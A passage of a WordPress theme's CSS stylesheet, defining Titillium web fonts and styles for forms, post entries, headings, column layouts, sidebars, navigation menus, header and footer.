url('fonts/titillium-regular-webfont.eot?#iefix') format('embedded-opentype'),
url('fonts/titillium-regular-webfont.woff') format('woff'),
url('fonts/titillium-regular-webfont.ttf') format('truetype');
font-weight: 400;
font-style: normal;
}
@font-face {
font-family: 'Titillium';
src: url('fonts/titillium-regularitalic-webfont.eot');
src: url('fonts/titillium-regularitalic-webfont.svg#titillium-regular-webfont') format('svg'),
url('fonts/titillium-regularitalic-webfont.eot?#iefix') format('embedded-opentype'),
url('fonts/titillium-regularitalic-webfont.woff') format('woff'),
url('fonts/titillium-regularitalic-webfont.ttf') format('truetype');
font-weight: 400;
font-style: italic;
}
@font-face {
font-family: 'Titillium';
src: url('fonts/titillium-semibold-webfont.eot');
src: url('fonts/titillium-semibold-webfont.svg#titillium-semibold-webfont') format('svg'),
url('fonts/titillium-semibold-webfont.eot?#iefix') format('embedded-opentype'),
url('fonts/titillium-semibold-webfont.woff') format('woff'),
url('fonts/titillium-semibold-webfont.ttf') format('truetype');
font-weight: 600;
font-style: normal;
}
/* base : forms
/* ------------------------------------ */
input, textarea, button, select, label { font-family: inherit; }
.themeform input,
.themeform textarea,
.themeform button,
.themeform select,
.themeform label { font-size: 14px; }
.themeform input::-moz-focus-inner,
.themeform button::-moz-focus-inner { border: 0; padding: 0; }
.themeform input[type="text"],
.themeform input[type="password"],
.themeform input[type="email"],
.themeform input[type="submit"],
.themeform button,
.themeform textarea { margin: 0; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -webkit-border-radius: 0; border-radius: 0; }
.themeform input,
.themeform textarea,
.themeform button { -moz-appearance: none; -webkit-appearance: none; -moz-transition: all .2s ease; -webkit-transition: all .2s ease; transition: all .2s ease; }
.themeform input[type="checkbox"] { -moz-appearance: checkbox; -webkit-appearance: checkbox; }
.themeform input[type="radio"] { -moz-appearance: radio; -webkit-appearance: radio; }
.themeform label { font-weight: 600; color: #444; }
.themeform input[type="text"],
.themeform input[type="password"],
.themeform input[type="email"],
.themeform textarea { background: #fff; border: 2px solid #ddd; color: #777; display: block; max-width: 100%; outline: none; padding: 7px 8px; }
.themeform input[type="text"]:focus,
.themeform input[type="password"]:focus,
.themeform input[type="email"]:focus,
.themeform textarea:focus { border-color: #ccc; color: #444; -webkit-box-shadow: 0 0 3px rgba(0,0,0,0.1); box-shadow: 0 0 3px rgba(0,0,0,0.1); }
.themeform label .required { color: #3b8dbd; }
.themeform input[type="submit"],
.themeform button[type="submit"] { background: #3b8dbd; color: #fff; padding: 8px 14px; font-weight: 600; display: inline-block; border: none; cursor: pointer; -webkit-border-radius: 3px; border-radius: 3px; }
.themeform input[type="submit"]:hover,
.themeform button[type="submit"]:hover { background: #444; }
.themeform.searchform div { position: relative; }
.themeform.searchform div input { padding-left: 26px; line-height: 20px; }
.themeform.searchform div:after { color: #ccc; line-height: 24px; font-size: 14px; content: "\f002"; position: absolute; left: 10px; top: 6px; font-family: FontAwesome; }
/* base : entry
/* ------------------------------------ */
.entry { font-size: 18px; line-height: 1.6em; }
.entry p,
.entry dd { margin-bottom: 1em; }
.entry dt { color: #444; }
.entry ol,
.entry ul { margin: 0 0 15px 30px; }
.entry ol ol,
.entry ol ul,
.entry ul ul,
.entry ul ol { margin-bottom: 0; }
.entry li { margin: 0; }
.entry ul li,
.entry ol ul li { list-style: square; }
.entry ol li,
.entry ol ul ol li { list-style: decimal; }
.entry dt { font-weight: 600;}
.entry address { margin-bottom: 1em; }
.entry blockquote { position: relative; color: #777; font-style: italic; margin: 0 0 20px 0; padding-left: 50px; }
.entry blockquote p { margin-bottom: 0.75em; }
.entry blockquote:before { content: "\f10d"; color: #ccc; font-size: 32px; font-style: normal; font-family: FontAwesome; text-align: center; position: absolute; left: 0; top: 0; }
.entry blockquote.twitter-tweet:before { content: "\f099"; }
.entry code, .entry pre { font-family: Monaco, "Courier New", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", monospace; font-size: 11px; }
.entry pre { background: url(img/pre.png) repeat top; padding: 18px 20px; margin: 30px 0; border: 1px solid #ddd; line-height: 19px; white-space: pre-wrap; word-wrap: break-word; overflow-x: auto; overflow-y: hidden; }
.entry code { background: #eee; padding: 0 3px; }
.entry ins { background: #fff486; }
.entry sub,
.entry sup { font-size: 62.5%; }
.entry sub { vertical-align: sub; }
.entry sup { vertical-align: super; }
/* image position & caption */
.entry img.size-auto,
.entry img.size-large,
.entry img.size-medium,
.entry attachment img { max-width: 100%; height: auto; }
.entry img.alignleft { margin: 18px 20px 18px 0; }
.entry img.alignright { margin: 18px 0 18px 20px; }
.entry img.aligncenter { margin: 18px auto; clear: both; display: block; }
.entry img .size-full { width: 100%!important; }
.entry .gallery img, .entry img.wp-smiley { margin: 0; }
.entry .wp-caption { background: #f1f1f1; max-width: 100%; margin-bottom: 14px; padding-top: 5px; text-align: center; }
.entry .wp-caption-text { font-style: italic; }
.entry .wp-caption a { border-bottom: none; }
.entry .wp-caption img { margin: 0; max-width: 100%; height: auto; }
.entry .wp-caption.alignleft { margin-right: 20px; }
.entry .wp-caption.alignright { margin-left: 20px; }
.entry .wp-caption.alignnone { width: 100%!important; overflow: hidden; }
.entry .wp-caption.alignnone img { margin: 0 auto; max-width: 100%!important; }
.entry .wp-caption-text { color: #999; font-size: 13px; padding: 0 0 8px 0; margin: 0; }
/* table */
.entry table { font-size: 14px; margin-bottom: 1.5em; width: 100%; text-align: center; }
.entry table tr.alt { background: #f1f1f1; }
.entry table td { border-bottom: 1px solid #f1f1f1; text-align: center; padding: 5px; vertical-align: middle; }
.entry table th { font-weight: 600; text-align: center; border-top: 1px solid #f1f1f1; border-bottom: 1px solid #f1f1f1; padding: 10px 5px; }
/* default gallery */
.entry .gallery { clear: both; overflow: hidden; width: 100%; margin: 15px 0!important; }
.entry .gallery img { display: block; width: 100%; height: auto; border-width: 1px 2px!important; border-color: transparent!important; }
.entry .gallery .gallery-item { position: relative; overflow: hidden; border-color: transparent; margin-top: 0!important; }
.entry .gallery .gallery-caption { background: rgba(255,255,255,0.8); color: #333; font-size: 13px; line-height: 1.4em; padding: 10px 0; text-align: left; text-indent: 10px; font-style: normal; margin: 0; bottom: -44px; left: 2px; right: 2px; overflow: hidden; position: absolute; text-overflow: ellipsis; white-space: nowrap; width: 100%;
transition: all .2s ease;
-o-transition: all .2s ease;
-moz-transition: all .2s ease;
-webkit-transition: all .2s ease; }
.entry .gallery .gallery-item:hover .gallery-caption { bottom: 0; }
.entry .gallery-columns-5 .gallery-caption,
.entry .gallery-columns-6 .gallery-caption,
.entry .gallery-columns-7 .gallery-caption,
.entry .gallery-columns-8 .gallery-caption,
.entry .gallery-columns-9 .gallery-caption { display: none!important; }
/* base : headings
/* ------------------------------------ */
h1, h2, h3, h4, h5, h6 { color: #444; font-weight: 600; -ms-word-wrap: break-word; word-wrap: break-word; }
.entry h1 span, .entry h2 span, .entry h3 span, .entry h4 span, .entry h5 span, .entry h6 span { color: #bbb; }
.entry h1,.entry h2,.entry h3,.entry h4,.entry h5,.entry h6 { margin-bottom: 14px; font-weight: 400; line-height: 1.3em; }
.entry h1 { font-size: 38px; letter-spacing: -1px; }
.entry h2 { font-size: 34px; letter-spacing: -0.7px; }
.entry h3 { font-size: 28px; letter-spacing: -0.5px; }
.entry h4 { font-size: 24px; letter-spacing: -0.3px; }
.entry h5 { font-size: 20px; font-weight: 600; }
.entry h6 { font-size: 18px; font-weight: 600; text-transform: uppercase; }
.heading,
#reply-title { font-weight: normal; font-size: 18px; text-transform: uppercase; font-weight: 600; margin-bottom: 1em; }
.heading i { font-size: 22px; margin-right: 6px; }
/* ------------------------------------------------------------------------- *
* Base Structure
/* ------------------------------------------------------------------------- */
/* base : layout
/* ------------------------------------ */
#wrapper { min-width: 1024px; height: 100%; }
.container { padding: 0 20px; }
.container-inner { max-width: 1380px; min-width: 1380px; width: 100%; margin: 0 auto; }
.main { background-color: #fff!important; position: relative; }
.main-inner { position: relative; min-height: 600px; /* instead of sticky footer */ }
.content { width: 100%; position: relative; }
.pad { padding: 30px 30px 20px; }
/* boxed */
.boxed #wrapper { max-width: 1380px; margin: 0 auto;
-webkit-box-shadow: 6px 0 0 rgba(0,0,0,0.04), -6px 0 0 rgba(0,0,0,0.04);
box-shadow: 6px 0 0 rgba(0,0,0,0.04), -6px 0 0 rgba(0,0,0,0.04); }
.boxed .container { padding: 0; }
.boxed #page { background: #eaeaea; padding-bottom: 1px; }
/* base : layout columns
/* ------------------------------------ */
/* 2 column, content left */
.col-2cl .main-inner { background: url(img/sidebar/s-right-s1.png) repeat-y right 0; padding-right: 340px; }
.col-2cl .s1 { float: right; margin-right: -340px; }
.col-2cl .content { float: left; }
/* 2 column, content right */
.col-2cr .main-inner { background: url(img/sidebar/s-left.png) repeat-y left 0; padding-left: 340px; }
.col-2cr .s1 { float: left; margin-left: -340px; }
.col-2cr .content { float: right; }
/* 3 column, content middle */
.col-3cm .main { background: url(img/sidebar/s-right-s2.png) repeat-y right 0; }
.col-3cm .main-inner { background: url(img/sidebar/s-left.png) repeat-y left 0; padding-left: 340px; padding-right: 260px; }
.col-3cm .s1 { float: left; margin-left: -340px; }
.col-3cm .s2 { float: right; margin-right: -260px; /* ingenuity! */ position: relative; right: -100%; }
.col-3cm .content { float: right; }
/* 3 column, content left */
.col-3cl .main { background-image: none; }
.col-3cl .main-inner { background: url(img/sidebar/s-right-dual-full-expand.png) repeat-y right 0; padding-right: 600px; }
.col-3cl .s1 { float: right; margin-right: -600px; }
.col-3cl .s2 { float: right; margin-right: -260px; }
.col-3cl .content { float: left; }
/* 3 column, content right */
.col-3cr .main { background-image: none; }
.col-3cr .main-inner { background: url(img/sidebar/s-left-dual-full-expand.png) repeat-y left 0; padding-left: 600px; }
.col-3cr .s1 { float: left; margin-left: -600px; }
.col-3cr .s2 { float: left; margin-left: -260px; }
.col-3cr .content { float: right; }
/* base : sidebar
/* ------------------------------------ */
.sidebar { padding-bottom: 20px; position: relative; z-index: 2; }
.sidebar .pad { padding-left: 20px; padding-right: 20px; }
.sidebar-top { padding: 15px 30px; }
.sidebar-top p { float: left; color: #fff; color: rgba(255,255,255,0.8); font-size: 16px; font-weight: 600; text-transform: uppercase; line-height: 24px; padding: 3px 0; }
.sidebar-toggle { display: none; text-align: center; cursor: pointer; width: 100%; height: 50px;
-webkit-box-shadow: inset 0 -1px 0 rgba(255,255,255,0.1);
box-shadow: inset 0 -1px 0 rgba(255,255,255,0.1); }
.sidebar-toggle i { font-size: 38px; color: #fff; padding: 5px 0; }
.s1-expand .s1,
.s2-expand .s2 {-moz-transition: width .2s ease; -webkit-transition: width .2s ease; transition: width .2s ease; }
/* toggle icon */
.icon-sidebar-toggle:before { font-family: FontAwesome; }
.col-2cl .s1 .icon-sidebar-toggle:before,
.col-3cl .s1 .icon-sidebar-toggle:before,
.col-3cm .s2 .icon-sidebar-toggle:before,
.col-3cl .s2 .icon-sidebar-toggle:before { content: "\f100"; }
.col-2cr .s1 .icon-sidebar-toggle:before,
.col-3cm .s1 .icon-sidebar-toggle:before,
.col-3cr .s1 .icon-sidebar-toggle:before,
.col-3cr .s2 .icon-sidebar-toggle:before { content: "\f101"; }
/* sidebar primary */
.s1 { width: 340px; z-index: 2; }
.s1:hover { z-index: 98; /* social icons tooltip above header nav */ }
.s1 .sidebar-top,
.s1 .sidebar-toggle { background: #3b8dbd; }
@media only screen and (min-width: 479px) and (max-width: 960px) {
.s1 .sidebar-top { background: none!important; border-bottom: 1px solid #ddd; }
.s1 .sidebar-top p { color: #666; }
.s1 .sidebar-top .social-links .social-tooltip { color: #666; }
}
/* sidebar secondary */
.s2 { width: 260px; z-index: 1; }
.s2 .sidebar-top,
.s2 .sidebar-toggle { background: #82b965; }
@media only screen and (min-width: 479px) and (max-width: 1200px) {
.s2 .sidebar-top { background: none!important; border-bottom: 1px solid #ddd; }
.s2 .sidebar-top p { color: #666; }
}
/* base : grid
/* ------------------------------------ */
.grid { margin-right: 3.2%; float: left; display: inline; position: relative; }
.last { clear: right; margin-right: 0!important; }
.one-full { margin-right: 0; width: 100%; overflow: hidden; }
.one-half { width: 48.4%; }
.one-third { width: 31.2%; }
.two-third { width: 65.6%; }
.one-fourth { width: 22.6%; }
.three-fourth { width: 74.2%; }
.one-fifth { width: 17.4%; }
.two-fifth { width: 38.1%; }
.three-fifth { width: 58.7%; }
.four-fifth { width: 79.4%; }
/* ------------------------------------------------------------------------- *
* Common Elements
/* ------------------------------------------------------------------------- */
/* common : responsive videos
/* ------------------------------------ */
.video-container { position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden; }
.video-container iframe, .video-container object, .video-container embed, .video-container video { position: absolute; top: 0; left: 0; width: 100%; height: 100%; }
/* common : responsive image + caption
/* ------------------------------------ */
.image-container { position: relative; }
.image-container img { display: block; width: 100%; height: auto; }
.image-caption { background: rgba(0,0,0,0.7); color: #fff; font-size: 13px; line-height: 1.3em; font-style: italic; padding: 8px 10px; position: absolute; bottom: 8px; left: 8px; margin-right: 8px;
-webkit-border-radius: 2px; border-radius: 2px;
-webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,0.4), 0 1px 0 rgba(255,255,255,0.03);
box-shadow: inset 0 1px 1px rgba(0,0,0,0.4), 0 1px 0 rgba(255,255,255,0.03); }
/* common : social links
/* ------------------------------------ */
.social-links { float: right; position: relative; padding-top: 2px; }
.social-links li { display: inline-block; margin-left: 8px; line-height: 16px; font-size: 0; }
.social-links li a { display: block!important; position: relative; text-align: center; }
.social-links .social-tooltip { color: #fff; color: rgba(255,255,255,0.7); font-size: 24px; display: inline; position: relative; z-index: 98; }
.social-links .social-tooltip:hover { color: #fff; text-decoration: none; }
.social-links .social-tooltip:hover:after { top: -36px; background: #fff; font-size: 14px; color: #666; content: attr(title); display: block; right: 0; padding: 5px 15px; position: absolute; white-space: nowrap;
-webkit-border-radius: 3px; border-radius: 3px;
-webkit-box-shadow: 0 0 2px rgba(0,0,0,0.2); box-shadow: 0 0 2px rgba(0,0,0,0.2); }
.social-links .social-tooltip:hover:before { top: -10px; right: 8px; border: solid; border-color: #fff transparent; border-width: 5px 5px 0 5px; content: ""; display: block; position: absolute; z-index: 1; }
/* common : page title
/* ------------------------------------ */
.page-title { background: #fff; position: relative; padding-top: 18px; padding-bottom: 17px; border-bottom: 1px solid #eee; color: #666; font-size: 16px; font-weight: 600; text-transform: uppercase; line-height: 24px; }
.page-title a { color: #aaa; }
.page-title a:hover { color: #444; }
.page-title span { color: #aaa; }
.page-title i { margin-right: 8px; }
.page-title h1,
.page-title h2,
.page-title h4 { color: #666; }
.page-title .meta-single li { float: left; margin-right: 14px; }
.page-title .meta-single li.comments { float: right; margin-right: 0; }
/* common : notebox
/* ------------------------------------ */
.notebox { background: #f0f0f0; position: relative; padding: 12px 15px; color: #888; margin-bottom: 30px; }
.notebox:before { content:''; display: inline-block; border-left: 8px solid transparent; border-right: 8px solid transparent; border-bottom: 8px solid #f1f1f1; position: absolute; top: -8px; left: 13px; }
.notebox:after { content:''; display: inline-block; border-left: 6px solid transparent; border-right: 6px solid transparent; border-bottom: 6px solid #f1f1f1; position: absolute; top: -5px; left: 15px; }
.notebox span { font-weight: 600; }
.notebox .search-again { margin-top: 10px; }
.notebox input[type="text"] { width: 100%; }
/* common : page image
/* ------------------------------------ */
.page-image { overflow: hidden; position: relative; margin: 0 0 30px 0; }
.page-image-text { position: absolute; top: 50%; margin-top: -35px; width: 100%; text-align: center; }
.page-image-text .caption { color: #fff; font-size: 44px; line-height: 70px; text-transform: uppercase; font-weight: 600; text-shadow: 0 0 20px rgba(0,0,0,0.3); }
.page-image-text .description { display: block; color: #fff; font-size: 15px; line-height: 36px; font-weight: 300; }
.page-image-text .description i { background: rgba(0,0,0,0.7); opacity: 0.9; font-style: normal; padding: 6px 10px; -webkit-border-radius: 2px; border-radius: 2px; }
/* common : pagination
/* ------------------------------------ */
.pagination { margin-bottom: 15px; }
.pagination a { font-size: 18px; font-weight: 600; }
/* common : thumb icon
/* ------------------------------------ */
.thumb-icon { background: rgba(0,0,0,0.7); color: #fff; text-align: center; display: block; width: 32px; height: 32px; position: absolute; bottom: 20px; left: 20px;
-webkit-border-radius: 6px; border-radius: 6px;
-moz-transition: all 0.7s ease; -webkit-transition: all 0.7s ease; transition: all 0.7s ease;
-webkit-box-shadow: 0 0 2px rgba(255,255,255,0.4);
box-shadow: 0 0 2px rgba(255,255,255,0.4);
-webkit-transform: rotate(45deg);
-moz-transform: rotate(45deg);
-ms-transform: rotate(45deg);
-o-transform: rotate(45deg);
transform: rotate(45deg); }
.thumb-icon i { font-size: 18px; padding: 7px 0;
-webkit-transform: rotate(-45deg);
-moz-transform: rotate(-45deg);
-ms-transform: rotate(-45deg);
-o-transform: rotate(-45deg);
transform: rotate(-45deg); }
.thumb-icon .fa-play { margin: -1px 0 0 2px; }
.thumb-icon.small { width: 24px; height: 24px; position: absolute; bottom: 14px; left: 14px;
-webkit-border-radius: 4px; border-radius: 4px; }
.thumb-icon.small .fa { font-size: 14px; line-height: 16px; padding: 5px 0; }
.thumb-icon.small .f-play { margin: -1px 0 0 2px; }
/* common : nav
/* ------------------------------------ */
.nav-container { background: #888; z-index: 99; position: relative; }
.nav-toggle { display: none; background: #777; cursor: pointer; float: right; height: 50px; width: 60px; color: #fff; text-align: center; }
.nav-toggle i { font-size: 29px; padding: 10px 0; }
.nav-text { display: none; float: right; font-size: 16px; line-height: 24px; padding: 13px 20px; }
.nav li > a:after,
.nav > li > a:after { font-family: FontAwesome; display: inline-block; }
@media only screen and (min-width: 720px) {
.nav-wrap { height: auto!important; }
/* common */
.nav { font-size: 0; position: relative; }
.nav li a { color: #ccc; display: block; line-height: 20px; }
/* dropdown arrows */
.nav li > a:after { content: "\f0da"; float: right; opacity: 0.5; }
.nav > li > a:after {content: "\f0d7"; float: none; margin-left: 6px; font-size: 14px; }
.nav li > a:only-child:after {content: ""; margin: 0; }
#footer .nav li > a:after { content: "\f0da"; }
#footer .nav > li > a:after { content: "\f0d8"; }
#footer .nav li > a:only-child:after { content: ""; }
/* level 1 */
.nav > li { font-size: 16px; border-right: 1px solid #999; display: inline-block; position: relative; }
.nav > li > a { padding: 15px 14px; }
.nav > li > a:hover,
.nav > li:hover > a { background: #777; }
.nav li > a:hover,
.nav li:hover > a,
.nav li.current_page_item > a,
.nav li.current-menu-item > a,
.nav li.current-menu-ancestor > a,
.nav li.current-post-parent > a { color: #fff; }
/* level 2 & 3 */
.nav li:hover > ul { display: block; }
.nav ul { display: none; background: #777; position: absolute; left: 0; top: 50px; width: 180px; padding: 10px 0; z-index: 2; -webkit-transform: translateZ(0);
-webkit-box-shadow: 0 2px 2px rgba(0,0,0,0.15);
box-shadow: 0 2px 2px rgba(0,0,0,0.15); }
.nav ul li { font-size: 14px; position: relative; display: block; padding: 0; }
.nav ul li a { padding: 10px 20px; }
.nav ul li:last-child { border-bottom: 0!important; }
/* level 3 */
.nav ul ul { position: absolute; top: -10px; left: 180px; }
}
@media only screen and (max-width: 719px) {
.nav { font-weight: 600; }
.nav-container { text-transform: none; }
.nav-toggle,
.nav-text { display: block; }
.nav-wrap { position: relative; float: left; width: 100%; height: 0; overflow: hidden; }
.nav-wrap.transition {
-webkit-transition: height 0.35s ease;
-moz-transition: height 0.35s ease;
-o-transition: height 0.35s ease;
transition: height 0.35s ease; }
.expand .nav-wrap { height: auto; }
/* common */
.nav { float: left; width: 100%; }
.nav li a { line-height: 20px; display: block; padding: 8px 20px; }
.nav li li a { padding-left: 15px; padding-right: 15px; }
/* dropdown arrows */
.nav li > a:after { content: '\f0d7'; opacity: 0.5; margin-left: 6px; }
.nav > li > a:after { content: '\f0d7'; font-size: 14px; }
.nav li > a:only-child:after { content: ''; }
/* level 1 */
.nav > li { font-size: 15px; }
.nav li > a:hover,
.nav li.current_page_item > a,
.nav li.current-menu-item > a,
.nav li.current-post-parent > a { color: #fff; }
/* level 2 & 3 */
.nav ul { display: block!important; margin-left: 40px; }
.nav ul li { font-size: 13px; font-weight: 300; }
.nav ul li a { padding-top: 6px; padding-bottom: 6px; }
}
/* ------------------------------------------------------------------------- *
* Section: Header
/* ------------------------------------------------------------------------- */
#header { background: #33363b; position: relative; padding-bottom: 60px; }
#header .pad { padding-top: 28px; padding-bottom: 30px; }
#header .container-inner { position: relative; }
.site-title { font-size: 42px; font-weight: 600; letter-spacing: -0.5px; float: left; line-height: 60px; padding: 10px 0; }
.site-title a { display: block; color: #fff; max-width: 100%; }
.site-title a img { display: block; max-width: 100%; max-height: 60px; height: auto; padding: 0; margin: 0 auto; -webkit-border-radius: 0; border-radius: 0; }
.site-description { font-size: 16px; font-style: italic; color: #fff; color: rgba(255,255,255,0.5); float: left; margin-left: 20px; line-height: 60px; padding: 10px 0; }
.site-image { display: block; margin: 0 auto; max-height: 400px; }
/* header : search
/* ------------------------------------ */
.toggle-search { color: #fff; font-size: 18px; line-height: 24px; cursor: pointer; padding: 13px 20px; display: block; position: absolute; right: 0; top: -50px;
-webkit-box-shadow: -1px 0 0 rgba(255,255,255,0.1);
box-shadow: -1px 0 0 rgba(255,255,255,0.1); }
.toggle-search:hover,
.toggle-search.active { background: rgba(0,0,0,0.15); color: #fff; }
.search-expand { display: none; background: #26272b; position: absolute; top: 0; right: 0; width: 340px;
-webkit-box-shadow: 0 1px 0 rgba(255,255,255,0.1);
box-shadow: 0 1px 0 rgba(255,255,255,0.1); }
.search-expand-inner { background: rgba(0,0,0,0.15); padding: 15px; }
.search-expand .themeform input { width: 100%; border: 2px solid #e2e2e2; border-radius: 0; }
.search-expand .themeform input:focus { }
/* header : nav topbar
/* ------------------------------------ */
#nav-topbar.nav-container { background: #26272b;
-webkit-box-shadow: 0 0 5px rgba(0,0,0,0.2),0 1px 0 rgba(255,255,255,0.15);
box-shadow: 0 0 5px rgba(0,0,0,0.2),0 1px 0 rgba(255,255,255,0.15); }
#nav-topbar .nav-toggle { background: transparent; color: #fff;
-webkit-box-shadow: inset 1px 0 0 rgba(255,255,255,0.06);
box-shadow: inset 1px 0 0 rgba(255,255,255,0.06); }
#nav-topbar .nav-text { color: #fff; color: rgba(255,255,255,0.7); }
@media only screen and (min-width: 1025px) {
/* fixed nav */
.full-width.topbar-enabled #header { padding-top: 50px; }
.full-width #nav-topbar.nav-container { position: fixed; top: 0; left: 0; right: 0; width: 100%; z-index: 999; }
.full-width.admin-bar #nav-topbar.nav-container { top: 32px; }
}
@media only screen and (min-width: 720px) {
/* common */
#nav-topbar .nav { }
#nav-topbar .nav li a { color: #fff; color: rgba(255,255,255,0.7); }
/* level 1 */
#nav-topbar .nav > li { border-right: none; }
#nav-topbar .nav > li > a:hover,
#nav-topbar .nav > li:hover > a { background-color: rgba(0,0,0,0.1); }
#nav-topbar .nav li > a:hover,
#nav-topbar .nav li:hover > a,
#nav-topbar .nav li.current_page_item > a,
#nav-topbar .nav li.current-menu-item > a,
#nav-topbar .nav li.current-menu-ancestor > a,
#nav-topbar .nav li.current-post-parent > a { color: #fff; }
/* level 2 & 3 */
#nav-topbar .nav ul { background: #26272b url(img/opacity-10.png) repeat; }
#nav-topbar .nav ul li { box-shadow: 0 1px 0 rgba(255,255,255,0.06); -webkit-box-shadow: 0 1px 0 rgba(255,255,255,0.06); }
#nav-topbar .nav ul li:last-child { box-shadow: none; -webkit-box-shadow: none; }
}
@media only screen and (max-width: 719px) {
/* common */
#nav-topbar .nav li a { color: #fff; color: rgba(255,255,255,0.8); border-top: 1px solid rgba(255,255,255,0.06); }
/* level 1 */
#nav-topbar .nav li > a:hover { background: rgba(0,0,0,0.15); color: #fff; }
#nav-topbar .nav li.current_page_item > a,
#nav-topbar .nav li.current-menu-item > a,
#nav-topbar .nav li.current-post-parent > a { background: rgba(0,0,0,0.15); color: #fff; }
}
/* header : nav header
/* ------------------------------------ */
#nav-header.nav-container { background: transparent; z-index: 97;
-webkit-box-shadow: inset 0 1px 0 rgba(255,255,255,0.05), 0 -1px 0 rgba(0,0,0,0.2), inset 1px 0 0 rgba(0,0,0,0.2), inset -1px 0 0 rgba(0,0,0,0.2);
box-shadow: inset 0 1px 0 rgba(255,255,255,0.05), 0 -1px 0 rgba(0,0,0,0.2), inset 1px 0 0 rgba(0,0,0,0.2), inset -1px 0 0 rgba(0,0,0,0.2); }
#nav-header .container { padding: 0 15px; }
#nav-header .nav-toggle { background: transparent; color: #fff;
-webkit-box-shadow: inset 1px 0 0 rgba(255,255,255,0.05), -1px 0 0 rgba(0,0,0,0.2);
box-shadow: inset 1px 0 0 rgba(255,255,255,0.05), -1px 0 0 rgba(0,0,0,0.2); }
#nav-header .nav-text { color: #fff; color: rgba(255,255,255,0.7); }
@media only screen and (min-width: 720px) {
/* common */
#nav-header .nav { }
#nav-header .nav li a { color: #fff; color: rgba(255,255,255,0.7); }
/* level 1 */
#nav-header .nav > li { border-right: none; }
#nav-header .nav > li > a:hover,
#nav-header .nav > li:hover > a { background: rgba(0,0,0,0.1); }
#nav-header .nav li > a:hover,
#nav-header .nav li:hover > a,
#nav-header .nav li.current_page_item > a,
#nav-header .nav li.current-menu-item > a,
#nav-header .nav li.current-menu-ancestor > a,
#nav-header .nav li.current-post-parent > a { color: #fff; }
/* level 2 & 3 */
#nav-header .nav ul { background: #33363b url(img/opacity-10.png) repeat; }
#nav-header .nav ul li { box-shadow: 0 1px 0 rgba(255,255,255,0.06); -webkit-box-shadow: 0 1px 0 rgba(255,255,255,0.06); }
#nav-header .nav ul li:last-child { box-shadow: none; -webkit-box-shadow: none; }
}
@media only screen and (max-width: 719px) {
/* common */
#nav-header.nav-container { border-left: 0; border-right: 0; }
#nav-header .container { padding: 0; }
#nav-header .nav { padding-bottom: 20px; }
#nav-header .nav li a { color: #fff; color: rgba(255,255,255,0.8); border-top: 1px solid rgba(255,255,255,0.06); }
/* level 1 */
#nav-header .nav li > a:hover { background: rgba(0,0,0,0.15); color: #fff; }
#nav-header .nav li.current_page_item > a,
#nav-header .nav li.current-menu-item > a,
#nav-header .nav li.current-post-parent > a { background: rgba(0,0,0,0.15); color: #fff; }
}
/* ------------------------------------------------------------------------- *
* Section: Page
/* ------------------------------------------------------------------------- */
#page { padding-bottom: 60px; margin-top: -60px; }
#page .container-inner { background: #fff;
-webkit-box-shadow: 0 -1px 0 #fff, 0 1px 1px rgba(0,0,0,0.1);
box-shadow: 0 -1px 0 #fff, 0 1px 1px rgba(0,0,0,0.1); }
/* ------------------------------------------------------------------------- *
* Section: Footer
/* ------------------------------------------------------------------------- */
#footer { background: #fff; color: #777; width: 100%; }
#footer a { color: #777; }
#footer a:hover { color: #ccc; }
#footer .pad { padding-bottom: 30px; }
#footer-widgets{ padding-top: 20px; }
#footer-bottom { background: #33363b; }
#footer-bottom .pad { padding-top: 30px; }
#footer-bottom a { color: #fff; color: rgba(255,255,255,0.7); }
#footer-bottom a:hover { color: #fff; }
#footer-bottom #footer-logo { display: block; margin-bottom: 20px; max-height: 50px; -webkit-border-radius: 0; border-radius: 0; }
#footer-bottom #copyright,
#footer-bottom #credit { color: #fff; color: rgba(255,255,255,0.5); font-size: 15px; line-height: 1.5em; }
#footer-bottom #back-to-top { background: #eaeaea; color: #777; overflow: hidden; text-align: center; width: 60px; height: 30px; display: block; margin: 0 auto; margin: 0 auto -30px;
-webkit-border-radius: 0 0 3px 3px; border-radius: 0 0 3px 3px;
-webkit-box-shadow: inset 0 1px 0 rgba(0,0,0,0.05);
box-shadow: inset 0 1px 0 rgba(0,0,0,0.05); }
#footer-bottom #back-to-top i { font-size: 38px; position: relative; top: -7px; }
#footer-bottom #back-to-top:hover { color: #444; }
#footer-bottom .social-links { padding-top: 10px; }
#footer-bottom .social-links a { color: rgba(255,255,255,0.6); }
#footer-bottom .social-links a:hover { color: #fff; }
#footer-bottom .social-links .social-tooltip { font-size: 28px; }
/* footer : nav
/* ------------------------------------ */
#nav-footer.nav-container { background: #fff; border-top: 1px solid #eee; }
#nav-footer .nav-toggle { background: transparent; color: #444; border-left: 1px solid #eee; }
@media only screen and (min-width: 720px) {
/* common */
#nav-footer .nav { text-align: center; }
#nav-footer .nav li a { color: #999; }
/* level 1 */
#nav-footer .nav > li > a { padding: 12px 18px; }
#nav-footer .nav > li { border-right: 0; }
#nav-footer .nav > li:first-child { border-left: 0; }
#nav-footer .nav > li > a:hover,
#nav-footer .nav > li:hover > a { background: #f0f0f0; }
#nav-footer .nav li > a:hover,
#nav-footer .nav li:hover > a,
#nav-footer .nav li.current_page_item > a,
#nav-footer .nav li.current-menu-item > a,
#nav-footer .nav li.current-menu-ancestor > a,
#nav-footer .nav li.current-post-parent > a { color: #666; }
/* level 2 & 3 */
#nav-footer .nav ul { background: #f0f0f0; bottom: 44px; top: auto; text-align: left;
-webkit-box-shadow: 0 -2px 2px rgba(0,0,0,0.05);
box-shadow: 0 -2px 2px rgba(0,0,0,0.05); }
#nav-footer .nav ul li { border-bottom: 1px solid #e4e4e4; }
#nav-footer .nav ul ul { top: -10px; }
/* level 3 */
#nav-footer .nav ul ul { position: absolute; top: auto; bottom: -10px; }
}
@media only screen and (max-width: 719px) {
/* common */
#nav-footer .nav li a { color: #999; color: rgba(0,0,0,0.8); border-top: 1px solid #f2f2f2; }
/* level 1 */
#nav-footer .nav li > a:hover { background: #f2f2f2; color: #444; }
#nav-footer .nav li.current_page_item > a,
#nav-footer .nav li.current-menu-item > a,
#nav-footer .nav li.current-post-parent > a { background: #f2f2f2; color: #444; }
}
/* ------------------------------------------------------------------------- *
* Post Entry
/* ------------------------------------------------------------------------- */
.content .post,
.content .page { position: relative; overflow: hidden; }
.blog .post,
.single .post,
.archive .post,
.search .post,
.search .page { margin-bottom: 40px; }
.sticky {}
/* post : search
/* ------------------------------------ */
.search .page.type-page .post-thumbnail,
